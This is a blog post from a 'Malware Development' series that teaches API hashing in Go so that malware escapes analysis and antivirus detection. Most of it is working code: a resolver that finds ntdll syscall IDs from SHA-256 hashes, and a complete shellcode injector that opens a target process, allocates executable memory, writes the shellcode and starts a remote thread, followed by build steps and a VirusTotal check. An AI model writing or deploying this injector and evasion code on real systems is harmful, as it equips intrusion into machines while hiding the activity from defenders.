Waseem Akram

Malware Development 5 - Malware analysis evasion via Api Hashing (Golang)

By Waseem Akram on 11/8/2024

Today we’re going to see how real malware protect themselves from being analyzed using a technique called Api Hashing. First of all we should...

Malware Development 5 - Malware analysis evasion via Api Hashing (Golang)

Introduction

Hello hackers!

Today we’re going to see how real malware protect themselves from being analyzed using a technique called Api Hashing.

Explanation

First of all we should know what the IAT of a PE file is. IAT means Import Address Table and is part of the PE (Portable Executable) structure and its components are this (Golang code):

type ImportDirectory struct {
  OriginalFirstThunk  uint32
  TimeDateStamp       uint32
  ForwarderChain      uint32
  NameRVA             uint32
  FirstThunk          uint32
  DllName             string
}

If you don’t know too much about this you should take a look at https://0xrick.github.io/ blog, he has some fascinating posts about the different parts of PE files.

Malware analyzers and PE parsers (ab)use the IAT of files as it reveals really useful information which can determine if a PE imports some strange functions or DLLs. For example if you test this out without payload from the first Malware Development post you will see that it imports OpenProcess, VirtualAllocEx, WriteProcessMemory and CreateRemoteThreadEx which is a strong sign of malware. But what if we hide the imported functions in the IAT?

At this point red teamers use Api Hashing, a technique in which the function is represented as a hash, and you get its syscall to call it later so the strings can’t be analyzed. The main workflow will be something like this:

graph image

If someone looks at the source code, he/she won’t be able to know which Windows API function is trying to call as only the hash is visible. The hashing algorithm can be whatever you want, or you can create your custom encoding algorithm, in our case we’ll be using sha256

Code

First of all we will code a simple program which will receive a string via CLI and will print it as a sha256 hash

package main
 
import (
  "os"
  "fmt"
  "encoding/hex"
  "crypto/sha256"
)
 
func main(){
 
  if len(os.Args) != 2 {
    fmt.Println("Usage: ./main NtOpenProcess")
    os.Exit(0)
  }
 
  hash := sha256.Sum256([]byte(os.Args[1]))
  function_hash := hex.EncodeToString(hash[:])
 
  fmt.Println("Hash:", function_hash)
}

If we test it we see that it works as expected.

$ go run main.go NtOpenProcess
Hash: b76d2ff3e50b716aefc3d0794643a19c6fd410c826d8ff8856821fcc7dc35888

Here are the function names converted to hashes:

Here are the function names converted to hashes:

NtOpenProcess --> b76d2ff3e50b716aefc3d0794643a19c6fd410c826d8ff8856821fcc7dc35888
NtAllocateVirtualMemory --> 078b183f59677940916dc1da6726b10497d230dff219f845c7d04c1f0425c388
NtWriteVirtualMemory --> 6d51355d37c96dec276ee56a078256831610ef9b42287e19e1b85226d451410b
NtCreateThreadEx --> a3b64f7ca1ef6588607eac4add97fd5dfbb9639175d4012038fc50984c035bcd
NtClose --> 6ee03b14f864a4cd9ceffbf4afca092fd2b635a660f5273f01df1b7a88724f4f

In this case we’ll be using the same injection technique of the first post but replacing kernel32 functions like VirtualAlloc to native ones.

Now we have to create a function which takes care of getting all function names from ntdll.dll, converting it to sha256 and checking if hashes match. For this we use github.com/Binject/debug/pe an useful package to interact with PE files.

func FunctionFromHash(hash string) (uint16, error) {
  // Avoid static string detection
  ntdll := string([]byte{'C',':','\\','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','n','t','d','l','l','.','d','l','l'})
 
  // Open and parse PE file
  pe_file, err := pe.Open(ntdll)
  if err != nil {
    return 0, err
  }
  defer pe_file.Close()
 
  // Get export table
  exports, err := pe_file.Exports()
  if err != nil {
    return 0, err
  }
 
  // Iterate over exports
  for _, exp := range exports {
    // Encode loop function name to sha256
    h := sha256.Sum256([]byte(exp.Name))
    func_to_hash := hex.EncodeToString(h[:])
 
    // Now check if hashes match
    if (hash == func_to_hash) {
      // Convert RVA to offset
      offset := RvaToOffset(pe_file, exp.VirtualAddress)
      bBytes, err := pe_file.Bytes()
      if err != nil {
        return 0, err
      }
 
      buff := bBytes[offset : offset+10]
      sysId := binary.LittleEndian.Uint16(buff[4:8])
 
      return sysId, nil
    }
  }
 
  return 0, errors.New("Function not found!")
}

We also have to define the RvaToOffset() function

func RvaToOffset(pefile *pe.File, rva uint32) (uint32) {
  for _, hdr := range pefile.Sections {
    baseoffset := uint64(rva)
    if baseoffset > uint64(hdr.VirtualAddress) &&
      baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
      return rva - hdr.VirtualAddress + hdr.Offset
    }
  }
 
  return rva
}

Once we have those functions, we have to use the syscall ID and we can do it using the hooka.Syscall() function from my own malware dev project which receives an uint16 argument (syscall) and an unlimited amout of uintptr arguments (arguments):

...
 
func main(){
  sysId, err := FunctionFromHash("your-hash-here")
  if err != nil {
    log.Fatal(err)
  }
 
  ret, err := hooka.Syscall(
    sysId,
    arg1,
    arg2,
    arg3,
    ...
  )
 
  if ret != 0 {
    log.Fatal(err)
  }
}

I won’t explain in depth the usage of the native functions arguments, but I’ve chosen them as they’re easier to use with the handles and process because the common functions like OpenProcess directly return the process handle and we can’t do that if we’re executing the functions like this so it’s better with native functions.

There are some comments along the code to help you understanding it:

package main
 
// Import packages
import (
  "os"
  "fmt"
  "log"
  "errors"
  "unsafe"
  "strconv"
  "io/ioutil"
  "encoding/hex"
  "crypto/sha256"
  "encoding/binary"
 
  "golang.org/x/sys/windows"
 
  "github.com/Binject/debug/pe"
  "github.com/D3Ext/Hooka/pkg/hooka"
)
 
// Define necessary struct
type ClientID struct {
  UniqueProcess uintptr
  UniqueThread  uintptr
}
 
// Already explained functions omitted for brevety
 
func main(){
  // Receive arguments via CLI
  pid_str := os.Args[1]
  shellcode_file := os.Args[2]
  fmt.Println("Process ID: " + pid_str)
  fmt.Println("Shellcode file: " + shellcode_file)
 
  // Convert CLI argument to int
  pid, _ := strconv.Atoi(pid_str)
 
  // Open given shellcode file
  f, err := os.Open(shellcode_file)
  if err != nil {
    log.Fatal(err)
  }
  defer f.Close()
 
  // Convert shellcode to bytes
  shellcode, err := ioutil.ReadAll(f)
  if err != nil {
    log.Fatal(err)
  }
 
  // Retrieve syscalls with its hashes (check variable name)
  NtOpenProcess, err := FunctionFromHash("b76d2ff3e50b716aefc3d0794643a19c6fd410c826d8ff8856821fcc7dc35888")
  if err != nil {
    log.Fatal(err)
  }
 
  NtAllocateVirtualMemory, err := FunctionFromHash("078b183f59677940916dc1da6726b10497d230dff219f845c7d04c1f0425c388")
  if err != nil {
    log.Fatal(err)
  }
 
  NtWriteVirtualMemory, err := FunctionFromHash("6d51355d37c96dec276ee56a078256831610ef9b42287e19e1b85226d451410b")
  if err != nil {
    log.Fatal(err)
  }
 
  NtCreateThreadEx, err := FunctionFromHash("a3b64f7ca1ef6588607eac4add97fd5dfbb9639175d4012038fc50984c035bcd")
  if err != nil {
    log.Fatal(err)
  }
 
  NtClose, err := FunctionFromHash("6ee03b14f864a4cd9ceffbf4afca092fd2b635a660f5273f01df1b7a88724f4f")
  if err != nil {
    log.Fatal(err)
  }
 
  // Start calling functions
 
  fmt.Println("Calling NtOpenProcess...")
  var pHandle uintptr
  r, err := hooka.Syscall(
    NtOpenProcess,
    uintptr(unsafe.Pointer(&pHandle)),
    0x1F0FFF,
    uintptr(unsafe.Pointer(&windows.OBJECT_ATTRIBUTES{RootDirectory: 0})),
    uintptr(unsafe.Pointer(&ClientID{UniqueProcess: uintptr(pid), UniqueThread: 0})),
  )
 
  if err != nil || r != 0 { // Handle error
    log.Fatal(err)
  }
 
  // Required variables
  regionSize := uintptr(len(shellcode))
  var rPtr uintptr
 
  fmt.Println("Calling NtAllocateVirtualMemory...")
  r1, err := hooka.Syscall(
    NtAllocateVirtualMemory,
    pHandle,
    uintptr(unsafe.Pointer(&rPtr)),
    0,
    uintptr(unsafe.Pointer(&regionSize)),
    windows.MEM_COMMIT|windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE,
  )
 
  if r1 != 0 { // Handle error
    log.Fatal(err)
  }
 
  fmt.Println("Calling NtWriteVirtualMemory...")
  var bytesWritten uint32
  r2, err := hooka.Syscall(
    NtWriteVirtualMemory,
    pHandle,
    rPtr,
    uintptr(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
    uintptr(unsafe.Pointer(&bytesWritten)),
  )
 
  if r2 != 0 { // Handle error
    log.Fatal(err)
  }
 
  fmt.Println("Calling NtCreateThreadEx...")
  var tHandle uintptr
  _, err = hooka.Syscall(
    NtCreateThreadEx,
    uintptr(unsafe.Pointer(&tHandle)),
    windows.STANDARD_RIGHTS_ALL|windows.SPECIFIC_RIGHTS_ALL,
    0,
    pHandle,
    rPtr,
    0,
    uintptr(0),
    0,
    0,
    0,
    0,
  )
 
  if err != nil { // Handle error
    log.Fatal(err)
  }
 
  fmt.Println("Calling NtClose...")
  hooka.Syscall(
    NtClose,
    uintptr(unsafe.Pointer(&tHandle)),
  )
 
  fmt.Println("Shellcode should have been executed!")
}

Let’s test it out

Demo

Compile the golang code:

GOARCH=amd64 GOOS=windows go build main.go

Transfer the generated .exe to a Windows machine

output

And finally the shellcode gets executed

Let’s see what VirusTotal say about our payload

References

https://neil-fox.github.io/Anti-analysis-using-api-hashing/
https://malware.news/t/api-hashing-in-the-zloader-malware/40695
https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware

Conclusion

We’ve learned that this technique is really useful as it protect our malware from being analyzed and AV/EDR can’t know what Windows API functions we are importing by directly looking at the IAT of the PE.

Source code here

Other Posts You Might Like

10/17/2024
·
Waseem Akram

Malware Development 4 - Dump lsass.exe process + AV/EDR evasion (Golang)

Today we’ll dump LSASS.EXE process memory to obtain credentials and we also will be using some evasion techniques. During red team...

Read More
10/15/2024
·
Waseem Akram

Malware Development 3 - Persistence via Recycle Bin (Golang)

Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key...

Read More
10/14/2024
·
Waseem Akram

Malware Development 2 UuidFromString shellcode injection (Golang)

Today we’ll learn an advanced shellcode injection technique used by Lazarus group which uses UuidFromStringA API call. In this technique, the malware..

Read More
10/5/2024
·
Waseem Akram

How Hackers Target Instagram Accounts & How to Protect Yourself in 2024

Instahack is a security tool officially designed to test the password strength of Instagram accounts using termux and kali with a brute force attack...

Read More
10/1/2024
·
Waseem Akram

Malware Development 1 - CreateRemoteThread shellcode injection (Golang)

Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang...

Read More
9/30/2024
·
Waseem Akram

Malware Development How to call Windows API from Go

Today we'll see how we can use Golang internal functions from syscall and golang.org/x/sys/windows packages to call Windows API. Other languages like C o C++ are specifically

Read More